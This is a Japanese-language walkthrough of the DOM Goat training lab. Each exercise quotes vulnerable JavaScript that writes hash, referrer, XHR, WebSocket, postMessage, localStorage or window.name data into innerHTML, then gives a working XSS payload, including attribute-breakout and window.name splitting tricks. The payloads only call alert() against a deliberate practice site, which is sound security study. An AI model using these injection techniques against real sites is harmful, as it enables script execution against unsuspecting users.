# DOM Goat Writeup
[toc]
## Exercise-1
`vuln code`
```js
let hash = location.hash;
if (hash.length > 1) {
let hashValueToUse = unescape(hash.substr(1));
let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
}
```
`location.hash`で、`#`から値を取得し、hashのレングスが1より大きいなら、16進数エスケープシーケンスを文字列に置換後、`Welcome <b></b>`の中に入れる。
つまり、
```html
<img src="" onerror=alert(1)>
```
で良し。
`innerHTML`なので、`script`タグは入れてもうまく行かない。はず。
## Exercise-2
`vuln code`
```js
let rfr = document.referrer;
let paramValue = unescape(getPayloadParamValueFromUrl(rfr));
if (paramValue.length > 0) {
let msg = "Welcome <b>" + paramValue + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
} else {
document.getElementById("msgboard").innerHTML = "Parameter named <b>payload</b> was not found in the referrer.";
}
```
```text
https://domgo.at/cxss/example/1?payload=%3Cimg%20src=x%20onerror=alert(1)%3E&sp=x#12345
```
上記にアクセスして、`Excercise-2`にアクエスするだけ。
## Exercise-3
`vuln code`
```js
let responseBody = xhr.responseText;
let responeBodyObject = JSON.parse(responseBody);
let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
```

`Enter Payload`に入力したPayloadが、XHRによって処理されます
```js
let processPayload = function () {
let payload = document.getElementById('payloadbox').value;
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (this.readyState === 4 && this.status === 200) {
if (debuggerEnabled) {
debugger;
}
let responseBody = xhr.responseText;
let responeBodyObject = JSON.parse(responseBody);
let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
//Data flow info
document.getElementById("srcvalue").textContent = responeBodyObject.payload;
document.getElementById("valuetosink").textContent = msg;
document.getElementById("fullMsg").textContent = JSON.stringify(responeBodyObject, null, "\t");
}
};
xhr.open("GET", '/data.json?payload=' + escape(payload), true);
xhr.send();
};
```
`solver`
```html
<img src=x onerror=alert(1)>
```
## Exercise-4
`vuln code`
```js
let ws = new WebSocket(webSocketUrl);
ws.onmessage = function (evt) {
let rawMsg = evt.data;
let msgJson = JSON.parse(rawMsg);
let msg = "Welcome <b>" + msgJson.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
};
```
Enter Payloadの横のinput欄に入れた値が、`Welcome value!!!`として表示されるのでやるだけです
`payload`
```html
<img src=x onerror=alert(1)>
```
## Exercise-5
`vuln code`
```javascript
window.onmessage = function (evt) {
(redacted...)
try {
let msgObj = evt.data;
let msg = "Welcome <b>" + msgObj.payload + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
(redacted...)
} catch (e) {
console.log(e);
}
};
```

Enter Payloadに打ち込んだ値がそのまま`innerHTML`で使われるためアウトになってしまったやつ。
```html
<img src=x onerror=alert(document.domain)>
```
## Exercise-6
```js
let payloadValue = localStorage.getItem("payload");
let msg = "Welcome <b>" + payloadValue + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
```
```html
<img src=x onerror=alert(1)>
```
## Exercise-7
```html
let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
hashValueToUse = hashValueToUse.replace(/</g, "<").replace(/>/g, ">");
let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
```
`<`, `>`が変換され, `a`Tag内に入っていくっぽい。
```html
"><img src=x onerror=alert(document.domain)><"
```
このPayloadで一発ではあるものの、置き換えが地味に腹が立つ。
```html
' onclick=alert(document.domain) x='
```
まぁこのような感じでぶっこめばOKなはず。(ユーザインタラクションが必要なのがムカつくが。)
## Exercise-8
```js
let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
if (hashValueToUse.indexOf("=") > -1 ) {
hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=")+1);
hashValueToUse = hashValueToUse.replace(/</g, "<").replace(/>/g, ">");
let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
//Data flow info
document.getElementById("srcvalue").textContent = hash;
document.getElementById("valuetosink").textContent = msg;
}
```
`=`を先頭に含め、`<`,`>`がエスケープされることに注意すればおけ。という問題。
つまり前回つかった, `onerror=alert(1)`は使えない。
```html
=' onclick\x3dalert(1) x\x3d'
```


## Exercise 9
```javascript=
let hash = location.hash;
if (hash.length > 1) {
let hashValueToUse = unescape(hash.substr(1));
let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
document.getElementById("msgboard").innerHTML = msg;
}
```
`#`から値を取得し`Welcome`に続けるので、
`#<img src=x onerror=alert(1)>`で終わり。

## Exercise 10
```javascript
let urlParts = location.href.split("?");
if (urlParts.length > 1) {
let queryString = urlParts[1];
let queryParts = queryString.split("&");
let userId = "";
for (let i = 0; i < queryParts.length; i++) {
let keyVal = queryParts[i].split("=");
if (keyVal.length > 1) {
if (keyVal[0] === "user") {
userId = keyVal[1];
break;
}
}
}
if (userId.startsWith("ID-")) {
userId = userId.substr(3, 10);
userId = userId.replace(/"/g, """);
let windowValueToUse = window.name.replace(/"/g, """);
let msg = "<a href=\"" + userId + windowValueToUse + "\">Welcome</a>!!";
document.getElementById("msgboard").innerHTML = msg;
}
}
```
少し長い
`queryString`には、`lang=en&user=ID-1234&returnurl=/`が入り、
`queryParts`には、`['lang=en', 'user=ID-1234', 'returnurl=/']`がはいる。
ループ部分は、userIdを取得するためのもの。
その後、userIdが`ID-`で始まっていればuserIdの`3 ~ 10`文字を取得し`"`を`"e`におきかえ、`userId`に格納する。
XSSが起きない設計ではないためこれはやるだけ。
`user` Parameterが狙い目であるが、文字数制限がかなり邪魔。
`javascript:alert(1)`を決めたいが決めれない。
となると`window.name`を狙いたくなる。
window.nameについて調べてみると`window.open`で名前を指定できるっぽい。
`https://example.com`を利用して、以下をdevtoolのconsoleに貼り付ける。
```javscript
window.open("https://domgo.at/cxss/example/10?lang=en&user=ID-javascript&returnurl=/", ":alert(document.domain)");
```
貼り付けると、Dom Goatの対象ページが開かれ、`Welcome`を押すと発火する。
